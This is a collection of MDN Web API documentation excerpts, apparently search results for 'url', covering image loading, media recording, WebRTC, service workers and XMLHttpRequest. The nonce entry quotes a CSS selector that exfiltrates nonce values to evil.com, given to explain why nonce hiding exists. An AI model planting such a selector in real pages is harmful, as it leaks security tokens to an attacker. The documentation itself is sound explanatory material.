usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's
url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
HTMLImageElement.loading - Web APIs
function addimagetolist(
url) { const list = document.queryselector("div.photo-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src =
url; newitem.appendchild(newimg); list.appendchild(newitem); } specifications specification status ...
HTMLImageElement.useMap - Web APIs
syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local
url (that is, a
url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
HTMLLinkElement.rel - Web APIs
the most common use of this attribute is to specify a link to an external style sheet: the property is set to stylesheet, and the href attribute is set to the
url of an external style sheet to format the page.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background:
url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLQuoteElement - Web APIs
htmlquoteelement.cite is a domstring reflecting the cite html attribute, containing a
url for the source of the quotation.
HTMLTextAreaElement - Web APIs
o behave like a link: .intlink { cursor: pointer; text-decoration: underline; color: #0000ff; } html: <form name="myform"> <p>[ <span class="intlink" onclick="insertmetachars('<strong>','<\/strong>');"><strong>bold</strong></span> | <span class="intlink" onclick="insertmetachars('<em>','<\/em>');"><em>italic</em></span> | <span class="intlink" onclick="var new
url=prompt('enter the full
url for the link');if(new
url){insertmetachars('<a href=\u0022'+new
url+'\u0022>','<\/a>');}else{document.myform.mytxtarea.focus();}">
url</span> | <span class="intlink" onclick="insertmetachars('\n<code>\n','\n<\/code>\n');">code</span> | <span class="intlink" onclick="insertmetachars(' :-)');">smile</span> | etc.
ImageCapture.takePhoto() - Web APIs
var takephotobutton = document.queryselector('button#takephoto'); var canvas = document.queryselector('canvas'); takephotobutton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src =
url.createobject
url(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification.
Basic concepts - Web APIs
an origin is the domain, application layer protocol, and port of a
url of the document where the script is being executed.
install - Web APIs
example function xpinstallcallback(
url, status) { if (status == 0) msg = "xpinstall test: passed\n"; else msg = "xpinstall test: failed\n"; dump(msg); alert(msg); } xpi={'xpinstall pre-checkin test':'pre_checkin.xpi'}; installtrigger.install(xpi,xpinstallcallback); ...
InstallTrigger - Web APIs
startsoftwareupdate triggers the downloading and installation of the software at the specified
url.
Location: host - Web APIs
the host property of the location interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', and the port of the
url.
Location: origin - Web APIs
the origin read-only property of the location interface is a usvstring containing the unicode serialization of the origin of the represented
url; that is: for
url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for
url using file: scheme, the value is browser dependant; for
url using the blob: scheme, the origin of the
url following blob:.
Location: pathname - Web APIs
the pathname property of the location interface is a usvstring containing an initial '/' followed by the path of the
url (or the empty string if there is no path).
Location: protocol - Web APIs
the protocol property of the location interface is a usvstring representing the protocol scheme of the
url, including the final ':'.
MediaRecorder.ondataavailable - Web APIs
var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.onstop - Web APIs
mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audio
url = window.
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder - Web APIs
''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; var audio
url =
url.createobject
url(blob); audio.src = audio
url; console.log("recorder stopped"); deletebutton.onclick = function(e) { evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } }) .catch(function(err) { console.log('the following erro...
MediaSource.MediaSource() - Web APIs
example the following snippet is taken from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var video = document.queryselector('video'); var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.ad...
MediaSource.activeSourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.activesourcebuffers); // will contain the source buffer that was added above, // as it is selected for playing in the video player video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(b...
MediaSource.duration - Web APIs
their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaSource.readyState - Web APIs
example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
MediaSource.sourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStream Recording API - Web APIs
} } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var
url =
url.createobject
url(blob); var a = document.createelement("a"); document.body.appendchild(a); a.style = "display: none"; a.href =
url; a.download = "test.webm"; a.click(); window.
url.revokeobject
url(
url); } // demo: to download after 9sec settimeout(event => { console.log("stopping"); mediarecorder.stop(); }, 9000); examining and controlling the recorder status you can als...
Media Source API - Web APIs
extensions to other interfaces
url.createobject
url() creates an object
url pointing to a mediasource object that can then be specified as the src value of an html media element to play a media stream.
Media Capture and Streams API (Media Stream) - Web APIs
blobevent canvascapturemediastreamtrack inputdeviceinfo mediadevicekind mediadeviceinfo mediadevices mediastream mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints overconstrainederror
url early versions of the media capture and streams api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented streams of those types.
Microsoft API extensions - Web APIs
ssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatchanged onmsvideoframestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconvert
url() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark ...
msPlayToPreferredSourceUri - Web APIs
syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or
url) for streaming content on the playto target device from a different location, such as a cloud media server.
Navigator.msLaunchUri() - Web APIs
syntax navigator.mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a domstring specifying the
url containing including the protocol of the document or resource to be displayed.
Node - Web APIs
node.baseuriread only returns a domstring representing the base
url of the document containing the node.
Notification.icon - Web APIs
the icon read-only property of the notification interface contains the
url of an icon to be displayed as part of the notification, as specified in the icon option of the notification() constructor.
Notification.image - Web APIs
the image read-only property of the notification interface contains the
url of an image to be displayed as part of the notification, as specified in the image option of the notification() constructor.
NotificationAction - Web APIs
notificationaction.icon read only the
url of the image used to represent the notification when there is not enough space to display the notification itself.
NotificationEvent.notification - Web APIs
tion tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
NotificationEvent - Web APIs
icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notificationevent' in that specification.
PaintWorklet - Web APIs
<style> textarea { background-image:
url(checkerboard); background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule.
PasswordCredential - Web APIs
syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: icon
url: (optional) the
url of a user's avatar image.
PaymentRequest.onmerchantvalidation - Web APIs
examples an example merchant validation handler for the paymentrequest object request looks like this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserver
url = window.location.origin + '/validation?
url=' + encodeuricomponent(ev.validation
url); // get validation data, and complete validation; return await fetch(merchantserver
url).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
PaymentRequestEvent - Web APIs
methods openwindow() opens the specified
url in a new window, if and only if the given
url is on the same origin as the calling page.
PerformanceNavigation.type - Web APIs
possible values are: value constant name meaning 0 type_navigate the page was accessed by following a link, a bookmark, a form submission, a script, or typing the
url in the address bar.
PerformanceNavigation - Web APIs
possible values are: type_navigate (0) the page was accessed by following a link, a bookmark, a form submission, or a script, or by typing the
url in the address bar.
PerformanceNavigationTiming.type - Web APIs
the value must be one of the following: navigate navigation started by clicking a link, entering the
url in the browser's address bar, form submission, or initializing through a script operation other than reload and back_forward as listed below.
PublicKeyCredential - Web APIs
publickeycredential.id read only secure context inherited from credential and overridden to be the base64
url encoding of publickeycredential.rawid.
PublicKeyCredentialCreationOptions.rp - Web APIs
syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an
url as a usvstring value which points to an image resource which can be the logo/icon of the relying party.
PushManager.getSubscription() - Web APIs
var pushbutton = document.queryselector('.js-push-button'); pushbutton.disabled = false; if (!subscription) { // we aren’t subscribed to push, so set ui // to allow the user to enable push return; } // keep your server in sync with the latest subscriptionid sendsubscriptiontoserver(subscription); showc
urlcommand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.textcontent = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe ...
PushManager.registrations() - Web APIs
pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the
url of the endpoint.
PushManager.unregister() - Web APIs
pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the
url of the unregistered endpoint.
PushManager - Web APIs
the pushmanager interface of the push api provides a way to receive notifications from third-party servers as well as request
urls for push notifications.
PushSubscription.endpoint - Web APIs
the endpoint takes the form of a custom
url pointing to a push server, which can be used to send a push message to the particular service worker instance that subscribed to the push service.
PushSubscription - Web APIs
the pushsubscription interface of the push api provides a subcription's
url endpoint and allows unsubscription from a push service.
RTCConfiguration.bundlePolicy - Web APIs
let config = { iceservers: [ {
urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification.
RTCConfiguration.iceTransportPolicy - Web APIs
let config = { iceservers: [ {
urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification.
RTCIceCandidate.address - Web APIs
to do this, configure the ice agent's ice transport policy using rtcconfiguration, like this: var rtcconfig = { iceservers: [ {
urls: "turn:myturn.server.ip", username: "username", credential: "password" } ], icetransportpolicy: "relay" } by setting rtcconfiguration.icetransportpolicy to "relay", any host candidates (candidates where the ip address is the peer's own ip address) are left out of the pool of candidates, as are any other candidates which aren't relay candidates.
RTCIceServer.credential - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.credentialType - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.username - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
RTCPeerConnection: track event - Web APIs
pc = new rtcpeerconnection({ iceservers: [ {
urls: "turn:fake.turnserver.
url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement.
RTCPeerConnectionIceErrorEvent.address - Web APIs
pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.
url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification.
RTCStatsReport - Web APIs
this may include information such as the type of network, the protocol, the
url, the type of relay being used, and so forth.
RTCStatsType - Web APIs
this may include information such as the type of network, the protocol, the
url, the type of relay being used, and so forth.
ReadableStream.cancel() - Web APIs
var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var
url = 'https://html.spec.whatwg.org/'; console.log(`searching '${
url}' for '${searchterm}'`); fetch(
url).then(response => { console.log('received headers'); var decoder = new textdecoder(); var reader = response.body.getreader(); var tomatch = caseinsensitive ?
Report - Web APIs
report.
url read only the
url of the document that generated the report.
Request.context - Web APIs
the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the
url is for an image, or an embeddable object such as a <video>, iframe, etc.
Request.credentials - Web APIs
same-origin: send user credentials (cookies, basic http auth, etc..) if the
url is on the same origin as the calling script.
Request.referrer - Web APIs
(e.g., client, no-referrer, or a
url.) note: if referrer's value is no-referrer, it returns an empty string.
Response() - Web APIs
this can be null (which is the default value), or one of: blob buffersource formdata readablestream
urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
SVGAElement - Web APIs
svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of
urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
ServiceWorker.state - Web APIs
syntax some
url = serviceworker.state value a serviceworkerstate definition (see the spec.) examples this code snippet is from the service worker registration-events sample (live demo).
ServiceWorkerGlobalScope.onfetch - Web APIs
self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
icationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerGlobalScope - Web APIs
self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
ServiceWorkerRegistration.active - Web APIs
an active worker controls a serviceworkerclient if the client's
url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) note: this feature is available in web workers.
ServiceWorkerRegistration - Web APIs
an active worker will control a serviceworkerclient if the client's
url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) serviceworkerregistration.navigationpreload read only returns the instance of navigationpreloadmanager associated with the current service worker registration.
SharedWorker - Web APIs
constructors sharedworker() creates a shared web worker that executes the script at the specified
url.
ValidityState - Web APIs
typemismatch read only a boolean that is true if the value is not in the required syntax (when type is email or
url), or false if the syntax is correct.
VideoTrack.id - Web APIs
the track id can also be used as the fragment of a
url that loads the specific track (if the media supports media fragments).
VideoTrack - Web APIs
the id can also be used as the fragment part of the
url if the media supports seeking by media fragment per the media fragments uri specification.
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
const constraints = { audio: true, video: true }; const config = { iceservers: [{
urls: "stun:stun.mystunserver.tld" }] }; const selfvideo = document.queryselector("video.selfview"); const remotevideo = document.queryselector("video.remoteview"); const signaler = new signalingchannel(); const pc = new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view an...
Improving compatibility using WebRTC adapter.js - Web APIs
for example, on firefox versions older than 38, the adapter adds the rtcpeerconnection.
urls property; firefox doesn't natively support this property until firefox 38, while on chrome, the adapter adds support for the promise based api is added if it's not present.
Background audio processing using AudioWorklet - Web APIs
to use an audio worklet processor, you can use code similar to the following: let audiocontext = null; async function createmyaudioprocessor() { if (!audiocontext) { try { audiocontext = new audiocontext(); await audiocontext.resume(); await audiocontext.audioworklet.addmodule("module-
url/module.js"); } catch(e) { return null; } } return new audioworkletnode(audiocontext, "processor-name"); } this createmyaudioprocessor() function creates and returns a new instance of audioworkletnode configured to use your audio processor.
Window.external - Web APIs
methods the external object has the following methods: method description addsearchprovider(description
url) dummy function; does nothing.
Window.frameElement - Web APIs
example const frameel = window.frameelement; // if we're embedded, change the containing element's
url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
Window.getComputedStyle() - Web APIs
to avoid the “css history leak” security issue, browsers may lie about the computed styles for a visited link, returning values as if the user never visited the linked
url.
Window: hashchange event - Web APIs
the hashchange event is fired when the fragment identifier of the
url has changed (the part of the
url beginning with and following the # symbol).
Window.name - Web APIs
syntax string = window.name; window.name = string; example <script> // open a tab with a specific browsing context name const othertab = window.open("
url1", "_blank"); if (othertab) othertab.name = "other-tab"; </script> <a href="
url2" target="other-tab">this link will be opened in the other tab.</a> notes the name of the window is used primarily for setting targets for hyperlinks and forms.
Window.openDialog() - Web APIs
syntax newwindow = opendialog(
url, name, features, arg1, arg2, ...) newwindow the opened window
url the
url to be loaded in the newly opened window.
Window.resizeBy() - Web APIs
// create resizable window myexternalwindow = window.open("http://my
url.domain", "mywindowname", "resizable"); // resize window to 500x500 myexternalwindow.resizeto(500, 500); // make window relatively smaller to 400x400 myexternalwindow.resizeby(-100, -100); the window you create must respect the same origin policy.
WindowClient.focus() - Web APIs
icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'focus()' in that specification.
WindowClient.focused - Web APIs
icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient: focused' in that specification.
WindowClient.visibilityState - Web APIs
example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.
url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (
url) { if (this._cache[
url]) { queuemicrotask(() => { this._setdata(this._cache[
url]); this.dispatchevent(new event("load")); }); } else { fetch(
url).then(res => res.arraybuffer()).then(data => { this._cache[
url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is bas...
Worklet - Web APIs
methods worklet.addmodule() adds the script module at the given
url to the current worklet.
HTML in XMLHttpRequest - Web APIs
second, you have to actually fetch a test document over http, because testing with a data:
url would end up testing data:
url support at the same time.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
"\n"); dump("\torganisation = " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid until " + validity.notaftergmt + "\n"); } } catch(err) { alert(err); } } function test(
url) { var req = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('get',
url, true); req.addeventlistener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced t...
XMLHttpRequest.abort() - Web APIs
var xhr = new xmlhttprequest(), method = "get",
url = "https://developer.mozilla.org/"; xhr.open(method,
url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: abort event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: error event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: load event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: loadend event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: loadstart event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest.onreadystatechange - Web APIs
examples const xhr = new xmlhttprequest(), method = "get",
url = "https://developer.mozilla.org/"; xhr.open(method,
url, true); xhr.onreadystatechange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successfully console.log(xhr.responsetext); ...
XMLHttpRequest.overrideMimeType() - Web APIs
// interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get",
url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest: progress event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest.response - Web APIs
var
url = 'somepage.html'; //a local page function load(
url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get',
url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get',
